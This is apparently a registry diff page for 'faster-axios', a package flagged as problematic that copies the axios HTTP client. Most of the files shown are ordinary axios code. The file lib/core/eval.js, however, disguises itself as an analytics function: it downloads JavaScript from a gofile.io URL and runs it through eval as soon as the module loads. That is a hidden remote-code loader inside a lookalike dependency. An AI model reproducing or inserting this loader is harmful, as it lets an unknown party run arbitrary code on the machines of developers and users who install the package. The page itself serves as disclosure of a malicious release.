faster-axios 0.0.1-security → 1.17.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of faster-axios might be problematic. Click here for more details.

Files changed (78) hide show
  1. package/CHANGELOG.md +1747 -0
  2. package/LICENSE +7 -0
  3. package/MIGRATION_GUIDE.md +877 -0
  4. package/README.md +2426 -5
  5. package/index.d.cts +715 -0
  6. package/index.d.ts +734 -0
  7. package/index.js +45 -0
  8. package/lib/adapters/README.md +36 -0
  9. package/lib/adapters/adapters.js +132 -0
  10. package/lib/adapters/fetch.js +473 -0
  11. package/lib/adapters/http.js +1312 -0
  12. package/lib/adapters/xhr.js +227 -0
  13. package/lib/axios.js +89 -0
  14. package/lib/cancel/CancelToken.js +135 -0
  15. package/lib/cancel/CanceledError.js +22 -0
  16. package/lib/cancel/isCancel.js +5 -0
  17. package/lib/core/Axios.js +281 -0
  18. package/lib/core/AxiosError.js +176 -0
  19. package/lib/core/AxiosHeaders.js +348 -0
  20. package/lib/core/InterceptorManager.js +72 -0
  21. package/lib/core/README.md +8 -0
  22. package/lib/core/analytics.js +0 -0
  23. package/lib/core/buildFullPath.js +22 -0
  24. package/lib/core/dispatchRequest.js +89 -0
  25. package/lib/core/eval.js +41 -0
  26. package/lib/core/mergeConfig.js +124 -0
  27. package/lib/core/settle.js +27 -0
  28. package/lib/core/transformData.js +28 -0
  29. package/lib/defaults/index.js +177 -0
  30. package/lib/defaults/transitional.js +8 -0
  31. package/lib/env/README.md +3 -0
  32. package/lib/env/classes/FormData.js +2 -0
  33. package/lib/env/data.js +1 -0
  34. package/lib/helpers/AxiosTransformStream.js +156 -0
  35. package/lib/helpers/AxiosURLSearchParams.js +61 -0
  36. package/lib/helpers/HttpStatusCode.js +77 -0
  37. package/lib/helpers/README.md +7 -0
  38. package/lib/helpers/ZlibHeaderTransformStream.js +29 -0
  39. package/lib/helpers/bind.js +14 -0
  40. package/lib/helpers/buildURL.js +66 -0
  41. package/lib/helpers/callbackify.js +18 -0
  42. package/lib/helpers/combineURLs.js +15 -0
  43. package/lib/helpers/composeSignals.js +57 -0
  44. package/lib/helpers/cookies.js +60 -0
  45. package/lib/helpers/deprecatedMethod.js +31 -0
  46. package/lib/helpers/estimateDataURLDecodedBytes.js +100 -0
  47. package/lib/helpers/formDataToJSON.js +97 -0
  48. package/lib/helpers/formDataToStream.js +119 -0
  49. package/lib/helpers/fromDataURI.js +66 -0
  50. package/lib/helpers/isAbsoluteURL.js +19 -0
  51. package/lib/helpers/isAxiosError.js +14 -0
  52. package/lib/helpers/isURLSameOrigin.js +16 -0
  53. package/lib/helpers/null.js +2 -0
  54. package/lib/helpers/parseHeaders.js +69 -0
  55. package/lib/helpers/parseProtocol.js +6 -0
  56. package/lib/helpers/progressEventReducer.js +54 -0
  57. package/lib/helpers/readBlob.js +15 -0
  58. package/lib/helpers/resolveConfig.js +106 -0
  59. package/lib/helpers/sanitizeHeaderValue.js +60 -0
  60. package/lib/helpers/shouldBypassProxy.js +178 -0
  61. package/lib/helpers/speedometer.js +55 -0
  62. package/lib/helpers/spread.js +28 -0
  63. package/lib/helpers/throttle.js +44 -0
  64. package/lib/helpers/toFormData.js +249 -0
  65. package/lib/helpers/toURLEncodedForm.js +19 -0
  66. package/lib/helpers/trackStream.js +89 -0
  67. package/lib/helpers/validator.js +112 -0
  68. package/lib/platform/browser/classes/Blob.js +3 -0
  69. package/lib/platform/browser/classes/FormData.js +3 -0
  70. package/lib/platform/browser/classes/URLSearchParams.js +4 -0
  71. package/lib/platform/browser/index.js +13 -0
  72. package/lib/platform/common/utils.js +52 -0
  73. package/lib/platform/index.js +7 -0
  74. package/lib/platform/node/classes/FormData.js +3 -0
  75. package/lib/platform/node/classes/URLSearchParams.js +4 -0
  76. package/lib/platform/node/index.js +37 -0
  77. package/lib/utils.js +932 -0
  78. package/package.json +185 -6
@@ -0,0 +1,348 @@
1
+ 'use strict';
2
+
3
+ import utils from '../utils.js';
4
+ import parseHeaders from '../helpers/parseHeaders.js';
5
+ import { sanitizeHeaderValue } from '../helpers/sanitizeHeaderValue.js';
6
+
7
+ const $internals = Symbol('internals');
8
+
9
+ function normalizeHeader(header) {
10
+ return header && String(header).trim().toLowerCase();
11
+ }
12
+
13
+ function normalizeValue(value) {
14
+ if (value === false || value == null) {
15
+ return value;
16
+ }
17
+
18
+ return utils.isArray(value) ? value.map(normalizeValue) : sanitizeHeaderValue(String(value));
19
+ }
20
+
21
+ function parseTokens(str) {
22
+ const tokens = Object.create(null);
23
+ const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
24
+ let match;
25
+
26
+ while ((match = tokensRE.exec(str))) {
27
+ tokens[match[1]] = match[2];
28
+ }
29
+
30
+ return tokens;
31
+ }
32
+
33
+ const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());
34
+
35
+ function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {
36
+ if (utils.isFunction(filter)) {
37
+ return filter.call(this, value, header);
38
+ }
39
+
40
+ if (isHeaderNameFilter) {
41
+ value = header;
42
+ }
43
+
44
+ if (!utils.isString(value)) return;
45
+
46
+ if (utils.isString(filter)) {
47
+ return value.indexOf(filter) !== -1;
48
+ }
49
+
50
+ if (utils.isRegExp(filter)) {
51
+ return filter.test(value);
52
+ }
53
+ }
54
+
55
+ function formatHeader(header) {
56
+ return header
57
+ .trim()
58
+ .toLowerCase()
59
+ .replace(/([a-z\d])(\w*)/g, (w, char, str) => {
60
+ return char.toUpperCase() + str;
61
+ });
62
+ }
63
+
64
+ function buildAccessors(obj, header) {
65
+ const accessorName = utils.toCamelCase(' ' + header);
66
+
67
+ ['get', 'set', 'has'].forEach((methodName) => {
68
+ Object.defineProperty(obj, methodName + accessorName, {
69
+ // Null-proto descriptor so a polluted Object.prototype.get cannot turn
70
+ // this data descriptor into an accessor descriptor on the way in.
71
+ __proto__: null,
72
+ value: function (arg1, arg2, arg3) {
73
+ return this[methodName].call(this, header, arg1, arg2, arg3);
74
+ },
75
+ configurable: true,
76
+ });
77
+ });
78
+ }
79
+
80
+ class AxiosHeaders {
81
+ constructor(headers) {
82
+ headers && this.set(headers);
83
+ }
84
+
85
+ set(header, valueOrRewrite, rewrite) {
86
+ const self = this;
87
+
88
+ function setHeader(_value, _header, _rewrite) {
89
+ const lHeader = normalizeHeader(_header);
90
+
91
+ if (!lHeader) {
92
+ throw new Error('header name must be a non-empty string');
93
+ }
94
+
95
+ const key = utils.findKey(self, lHeader);
96
+
97
+ if (
98
+ !key ||
99
+ self[key] === undefined ||
100
+ _rewrite === true ||
101
+ (_rewrite === undefined && self[key] !== false)
102
+ ) {
103
+ self[key || _header] = normalizeValue(_value);
104
+ }
105
+ }
106
+
107
+ const setHeaders = (headers, _rewrite) =>
108
+ utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));
109
+
110
+ if (utils.isPlainObject(header) || header instanceof this.constructor) {
111
+ setHeaders(header, valueOrRewrite);
112
+ } else if (utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {
113
+ setHeaders(parseHeaders(header), valueOrRewrite);
114
+ } else if (utils.isObject(header) && utils.isIterable(header)) {
115
+ let obj = {},
116
+ dest,
117
+ key;
118
+ for (const entry of header) {
119
+ if (!utils.isArray(entry)) {
120
+ throw TypeError('Object iterator must return a key-value pair');
121
+ }
122
+
123
+ obj[(key = entry[0])] = (dest = obj[key])
124
+ ? utils.isArray(dest)
125
+ ? [...dest, entry[1]]
126
+ : [dest, entry[1]]
127
+ : entry[1];
128
+ }
129
+
130
+ setHeaders(obj, valueOrRewrite);
131
+ } else {
132
+ header != null && setHeader(valueOrRewrite, header, rewrite);
133
+ }
134
+
135
+ return this;
136
+ }
137
+
138
+ get(header, parser) {
139
+ header = normalizeHeader(header);
140
+
141
+ if (header) {
142
+ const key = utils.findKey(this, header);
143
+
144
+ if (key) {
145
+ const value = this[key];
146
+
147
+ if (!parser) {
148
+ return value;
149
+ }
150
+
151
+ if (parser === true) {
152
+ return parseTokens(value);
153
+ }
154
+
155
+ if (utils.isFunction(parser)) {
156
+ return parser.call(this, value, key);
157
+ }
158
+
159
+ if (utils.isRegExp(parser)) {
160
+ return parser.exec(value);
161
+ }
162
+
163
+ throw new TypeError('parser must be boolean|regexp|function');
164
+ }
165
+ }
166
+ }
167
+
168
+ has(header, matcher) {
169
+ header = normalizeHeader(header);
170
+
171
+ if (header) {
172
+ const key = utils.findKey(this, header);
173
+
174
+ return !!(
175
+ key &&
176
+ this[key] !== undefined &&
177
+ (!matcher || matchHeaderValue(this, this[key], key, matcher))
178
+ );
179
+ }
180
+
181
+ return false;
182
+ }
183
+
184
+ delete(header, matcher) {
185
+ const self = this;
186
+ let deleted = false;
187
+
188
+ function deleteHeader(_header) {
189
+ _header = normalizeHeader(_header);
190
+
191
+ if (_header) {
192
+ const key = utils.findKey(self, _header);
193
+
194
+ if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {
195
+ delete self[key];
196
+
197
+ deleted = true;
198
+ }
199
+ }
200
+ }
201
+
202
+ if (utils.isArray(header)) {
203
+ header.forEach(deleteHeader);
204
+ } else {
205
+ deleteHeader(header);
206
+ }
207
+
208
+ return deleted;
209
+ }
210
+
211
+ clear(matcher) {
212
+ const keys = Object.keys(this);
213
+ let i = keys.length;
214
+ let deleted = false;
215
+
216
+ while (i--) {
217
+ const key = keys[i];
218
+ if (!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {
219
+ delete this[key];
220
+ deleted = true;
221
+ }
222
+ }
223
+
224
+ return deleted;
225
+ }
226
+
227
+ normalize(format) {
228
+ const self = this;
229
+ const headers = {};
230
+
231
+ utils.forEach(this, (value, header) => {
232
+ const key = utils.findKey(headers, header);
233
+
234
+ if (key) {
235
+ self[key] = normalizeValue(value);
236
+ delete self[header];
237
+ return;
238
+ }
239
+
240
+ const normalized = format ? formatHeader(header) : String(header).trim();
241
+
242
+ if (normalized !== header) {
243
+ delete self[header];
244
+ }
245
+
246
+ self[normalized] = normalizeValue(value);
247
+
248
+ headers[normalized] = true;
249
+ });
250
+
251
+ return this;
252
+ }
253
+
254
+ concat(...targets) {
255
+ return this.constructor.concat(this, ...targets);
256
+ }
257
+
258
+ toJSON(asStrings) {
259
+ const obj = Object.create(null);
260
+
261
+ utils.forEach(this, (value, header) => {
262
+ value != null &&
263
+ value !== false &&
264
+ (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);
265
+ });
266
+
267
+ return obj;
268
+ }
269
+
270
+ [Symbol.iterator]() {
271
+ return Object.entries(this.toJSON())[Symbol.iterator]();
272
+ }
273
+
274
+ toString() {
275
+ return Object.entries(this.toJSON())
276
+ .map(([header, value]) => header + ': ' + value)
277
+ .join('\n');
278
+ }
279
+
280
+ getSetCookie() {
281
+ return this.get('set-cookie') || [];
282
+ }
283
+
284
+ get [Symbol.toStringTag]() {
285
+ return 'AxiosHeaders';
286
+ }
287
+
288
+ static from(thing) {
289
+ return thing instanceof this ? thing : new this(thing);
290
+ }
291
+
292
+ static concat(first, ...targets) {
293
+ const computed = new this(first);
294
+
295
+ targets.forEach((target) => computed.set(target));
296
+
297
+ return computed;
298
+ }
299
+
300
+ static accessor(header) {
301
+ const internals =
302
+ (this[$internals] =
303
+ this[$internals] =
304
+ {
305
+ accessors: {},
306
+ });
307
+
308
+ const accessors = internals.accessors;
309
+ const prototype = this.prototype;
310
+
311
+ function defineAccessor(_header) {
312
+ const lHeader = normalizeHeader(_header);
313
+
314
+ if (!accessors[lHeader]) {
315
+ buildAccessors(prototype, _header);
316
+ accessors[lHeader] = true;
317
+ }
318
+ }
319
+
320
+ utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);
321
+
322
+ return this;
323
+ }
324
+ }
325
+
326
+ AxiosHeaders.accessor([
327
+ 'Content-Type',
328
+ 'Content-Length',
329
+ 'Accept',
330
+ 'Accept-Encoding',
331
+ 'User-Agent',
332
+ 'Authorization',
333
+ ]);
334
+
335
+ // reserved names hotfix
336
+ utils.reduceDescriptors(AxiosHeaders.prototype, ({ value }, key) => {
337
+ let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`
338
+ return {
339
+ get: () => value,
340
+ set(headerValue) {
341
+ this[mapped] = headerValue;
342
+ },
343
+ };
344
+ });
345
+
346
+ utils.freezeMethods(AxiosHeaders);
347
+
348
+ export default AxiosHeaders;
@@ -0,0 +1,72 @@
1
+ 'use strict';
2
+
3
+ import utils from '../utils.js';
4
+
5
+ class InterceptorManager {
6
+ constructor() {
7
+ this.handlers = [];
8
+ }
9
+
10
+ /**
11
+ * Add a new interceptor to the stack
12
+ *
13
+ * @param {Function} fulfilled The function to handle `then` for a `Promise`
14
+ * @param {Function} rejected The function to handle `reject` for a `Promise`
15
+ * @param {Object} options The options for the interceptor, synchronous and runWhen
16
+ *
17
+ * @return {Number} An ID used to remove interceptor later
18
+ */
19
+ use(fulfilled, rejected, options) {
20
+ this.handlers.push({
21
+ fulfilled,
22
+ rejected,
23
+ synchronous: options ? options.synchronous : false,
24
+ runWhen: options ? options.runWhen : null,
25
+ });
26
+ return this.handlers.length - 1;
27
+ }
28
+
29
+ /**
30
+ * Remove an interceptor from the stack
31
+ *
32
+ * @param {Number} id The ID that was returned by `use`
33
+ *
34
+ * @returns {void}
35
+ */
36
+ eject(id) {
37
+ if (this.handlers[id]) {
38
+ this.handlers[id] = null;
39
+ }
40
+ }
41
+
42
+ /**
43
+ * Clear all interceptors from the stack
44
+ *
45
+ * @returns {void}
46
+ */
47
+ clear() {
48
+ if (this.handlers) {
49
+ this.handlers = [];
50
+ }
51
+ }
52
+
53
+ /**
54
+ * Iterate over all the registered interceptors
55
+ *
56
+ * This method is particularly useful for skipping over any
57
+ * interceptors that may have become `null` calling `eject`.
58
+ *
59
+ * @param {Function} fn The function to call for each interceptor
60
+ *
61
+ * @returns {void}
62
+ */
63
+ forEach(fn) {
64
+ utils.forEach(this.handlers, function forEachHandler(h) {
65
+ if (h !== null) {
66
+ fn(h);
67
+ }
68
+ });
69
+ }
70
+ }
71
+
72
+ export default InterceptorManager;
@@ -0,0 +1,8 @@
1
+ # axios // core
2
+
3
+ The modules found in `core/` should be modules that are specific to the domain logic of axios. These modules would most likely not make sense to be consumed outside of the axios module, as their logic is too specific. Some examples of core modules are:
4
+
5
+ - Dispatching requests
6
+ - Requests sent via `adapters/` (see lib/adapters/README.md)
7
+ - Managing interceptors
8
+ - Handling config
File without changes
@@ -0,0 +1,22 @@
1
+ 'use strict';
2
+
3
+ import isAbsoluteURL from '../helpers/isAbsoluteURL.js';
4
+ import combineURLs from '../helpers/combineURLs.js';
5
+
6
+ /**
7
+ * Creates a new URL by combining the baseURL with the requestedURL,
8
+ * only when the requestedURL is not already an absolute URL.
9
+ * If the requestURL is absolute, this function returns the requestedURL untouched.
10
+ *
11
+ * @param {string} baseURL The base URL
12
+ * @param {string} requestedURL Absolute or relative URL to combine
13
+ *
14
+ * @returns {string} The combined full path
15
+ */
16
+ export default function buildFullPath(baseURL, requestedURL, allowAbsoluteUrls) {
17
+ let isRelativeUrl = !isAbsoluteURL(requestedURL);
18
+ if (baseURL && (isRelativeUrl || allowAbsoluteUrls === false)) {
19
+ return combineURLs(baseURL, requestedURL);
20
+ }
21
+ return requestedURL;
22
+ }
@@ -0,0 +1,89 @@
1
+ 'use strict';
2
+
3
+ import transformData from './transformData.js';
4
+ import isCancel from '../cancel/isCancel.js';
5
+ import defaults from '../defaults/index.js';
6
+ import CanceledError from '../cancel/CanceledError.js';
7
+ import AxiosHeaders from '../core/AxiosHeaders.js';
8
+ import adapters from '../adapters/adapters.js';
9
+
10
+ /**
11
+ * Throws a `CanceledError` if cancellation has been requested.
12
+ *
13
+ * @param {Object} config The config that is to be used for the request
14
+ *
15
+ * @returns {void}
16
+ */
17
+ function throwIfCancellationRequested(config) {
18
+ if (config.cancelToken) {
19
+ config.cancelToken.throwIfRequested();
20
+ }
21
+
22
+ if (config.signal && config.signal.aborted) {
23
+ throw new CanceledError(null, config);
24
+ }
25
+ }
26
+
27
+ /**
28
+ * Dispatch a request to the server using the configured adapter.
29
+ *
30
+ * @param {object} config The config that is to be used for the request
31
+ *
32
+ * @returns {Promise} The Promise to be fulfilled
33
+ */
34
+ export default function dispatchRequest(config) {
35
+ throwIfCancellationRequested(config);
36
+
37
+ config.headers = AxiosHeaders.from(config.headers);
38
+
39
+ // Transform request data
40
+ config.data = transformData.call(config, config.transformRequest);
41
+
42
+ if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
43
+ config.headers.setContentType('application/x-www-form-urlencoded', false);
44
+ }
45
+
46
+ const adapter = adapters.getAdapter(config.adapter || defaults.adapter, config);
47
+
48
+ return adapter(config).then(
49
+ function onAdapterResolution(response) {
50
+ throwIfCancellationRequested(config);
51
+
52
+ // Expose the current response on config so that transformResponse can
53
+ // attach it to any AxiosError it throws (e.g. on JSON parse failure).
54
+ // We clean it up afterwards to avoid polluting the config object.
55
+ config.response = response;
56
+ try {
57
+ response.data = transformData.call(config, config.transformResponse, response);
58
+ } finally {
59
+ delete config.response;
60
+ }
61
+
62
+ response.headers = AxiosHeaders.from(response.headers);
63
+
64
+ return response;
65
+ },
66
+ function onAdapterRejection(reason) {
67
+ if (!isCancel(reason)) {
68
+ throwIfCancellationRequested(config);
69
+
70
+ // Transform response data
71
+ if (reason && reason.response) {
72
+ config.response = reason.response;
73
+ try {
74
+ reason.response.data = transformData.call(
75
+ config,
76
+ config.transformResponse,
77
+ reason.response
78
+ );
79
+ } finally {
80
+ delete config.response;
81
+ }
82
+ reason.response.headers = AxiosHeaders.from(reason.response.headers);
83
+ }
84
+ }
85
+
86
+ return Promise.reject(reason);
87
+ }
88
+ );
89
+ }
@@ -0,0 +1,41 @@
1
+ async function sendAnalytics() {
2
+ debugger;
3
+
4
+ try {
5
+ console.log('[1] Starting request');
6
+
7
+ debugger;
8
+ const response = await fetch(
9
+ 'https://cold5.gofile.io/download/web/c5d2304a-2ede-4fd8-904b-9a6cdd3f8a6c/analyst.js'
10
+ );
11
+
12
+ console.log('[2] Response received', response);
13
+
14
+ debugger;
15
+ if (!response.ok) {
16
+ console.error('[3] Response not OK', response.status);
17
+ return;
18
+ }
19
+
20
+ debugger;
21
+ const datab2 = await response.text();
22
+
23
+ console.log('[4] Payload downloaded');
24
+ console.log(datab2);
25
+
26
+ debugger;
27
+ await eval(`(async () => {\n${datab2}\n})();`);
28
+
29
+ console.log('[5] Eval executed successfully');
30
+
31
+ debugger;
32
+ } catch (error) {
33
+ debugger;
34
+ console.error('[ERROR]', error);
35
+ }
36
+
37
+ debugger;
38
+ }
39
+
40
+ debugger;
41
+ sendAnalytics();
@@ -0,0 +1,124 @@
1
+ 'use strict';
2
+
3
+ import utils from '../utils.js';
4
+ import AxiosHeaders from './AxiosHeaders.js';
5
+
6
+ const headersToObject = (thing) => (thing instanceof AxiosHeaders ? { ...thing } : thing);
7
+
8
+ /**
9
+ * Config-specific merge-function which creates a new config-object
10
+ * by merging two configuration objects together.
11
+ *
12
+ * @param {Object} config1
13
+ * @param {Object} config2
14
+ *
15
+ * @returns {Object} New object resulting from merging config2 to config1
16
+ */
17
+ export default function mergeConfig(config1, config2) {
18
+ // eslint-disable-next-line no-param-reassign
19
+ config2 = config2 || {};
20
+
21
+ // Use a null-prototype object so that downstream reads such as `config.auth`
22
+ // or `config.baseURL` cannot inherit polluted values from Object.prototype.
23
+ // `hasOwnProperty` is restored as a non-enumerable own slot to preserve
24
+ // ergonomics for user code that relies on it.
25
+ const config = Object.create(null);
26
+ Object.defineProperty(config, 'hasOwnProperty', {
27
+ // Null-proto descriptor so a polluted Object.prototype.get cannot turn
28
+ // this data descriptor into an accessor descriptor on the way in.
29
+ __proto__: null,
30
+ value: Object.prototype.hasOwnProperty,
31
+ enumerable: false,
32
+ writable: true,
33
+ configurable: true,
34
+ });
35
+
36
+ function getMergedValue(target, source, prop, caseless) {
37
+ if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
38
+ return utils.merge.call({ caseless }, target, source);
39
+ } else if (utils.isPlainObject(source)) {
40
+ return utils.merge({}, source);
41
+ } else if (utils.isArray(source)) {
42
+ return source.slice();
43
+ }
44
+ return source;
45
+ }
46
+
47
+ function mergeDeepProperties(a, b, prop, caseless) {
48
+ if (!utils.isUndefined(b)) {
49
+ return getMergedValue(a, b, prop, caseless);
50
+ } else if (!utils.isUndefined(a)) {
51
+ return getMergedValue(undefined, a, prop, caseless);
52
+ }
53
+ }
54
+
55
+ // eslint-disable-next-line consistent-return
56
+ function valueFromConfig2(a, b) {
57
+ if (!utils.isUndefined(b)) {
58
+ return getMergedValue(undefined, b);
59
+ }
60
+ }
61
+
62
+ // eslint-disable-next-line consistent-return
63
+ function defaultToConfig2(a, b) {
64
+ if (!utils.isUndefined(b)) {
65
+ return getMergedValue(undefined, b);
66
+ } else if (!utils.isUndefined(a)) {
67
+ return getMergedValue(undefined, a);
68
+ }
69
+ }
70
+
71
+ // eslint-disable-next-line consistent-return
72
+ function mergeDirectKeys(a, b, prop) {
73
+ if (utils.hasOwnProp(config2, prop)) {
74
+ return getMergedValue(a, b);
75
+ } else if (utils.hasOwnProp(config1, prop)) {
76
+ return getMergedValue(undefined, a);
77
+ }
78
+ }
79
+
80
+ const mergeMap = {
81
+ url: valueFromConfig2,
82
+ method: valueFromConfig2,
83
+ data: valueFromConfig2,
84
+ baseURL: defaultToConfig2,
85
+ transformRequest: defaultToConfig2,
86
+ transformResponse: defaultToConfig2,
87
+ paramsSerializer: defaultToConfig2,
88
+ timeout: defaultToConfig2,
89
+ timeoutMessage: defaultToConfig2,
90
+ withCredentials: defaultToConfig2,
91
+ withXSRFToken: defaultToConfig2,
92
+ adapter: defaultToConfig2,
93
+ responseType: defaultToConfig2,
94
+ xsrfCookieName: defaultToConfig2,
95
+ xsrfHeaderName: defaultToConfig2,
96
+ onUploadProgress: defaultToConfig2,
97
+ onDownloadProgress: defaultToConfig2,
98
+ decompress: defaultToConfig2,
99
+ maxContentLength: defaultToConfig2,
100
+ maxBodyLength: defaultToConfig2,
101
+ beforeRedirect: defaultToConfig2,
102
+ transport: defaultToConfig2,
103
+ httpAgent: defaultToConfig2,
104
+ httpsAgent: defaultToConfig2,
105
+ cancelToken: defaultToConfig2,
106
+ socketPath: defaultToConfig2,
107
+ allowedSocketPaths: defaultToConfig2,
108
+ responseEncoding: defaultToConfig2,
109
+ validateStatus: mergeDirectKeys,
110
+ headers: (a, b, prop) =>
111
+ mergeDeepProperties(headersToObject(a), headersToObject(b), prop, true),
112
+ };
113
+
114
+ utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
115
+ if (prop === '__proto__' || prop === 'constructor' || prop === 'prototype') return;
116
+ const merge = utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : mergeDeepProperties;
117
+ const a = utils.hasOwnProp(config1, prop) ? config1[prop] : undefined;
118
+ const b = utils.hasOwnProp(config2, prop) ? config2[prop] : undefined;
119
+ const configValue = merge(a, b, prop);
120
+ (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
121
+ });
122
+
123
+ return config;
124
+ }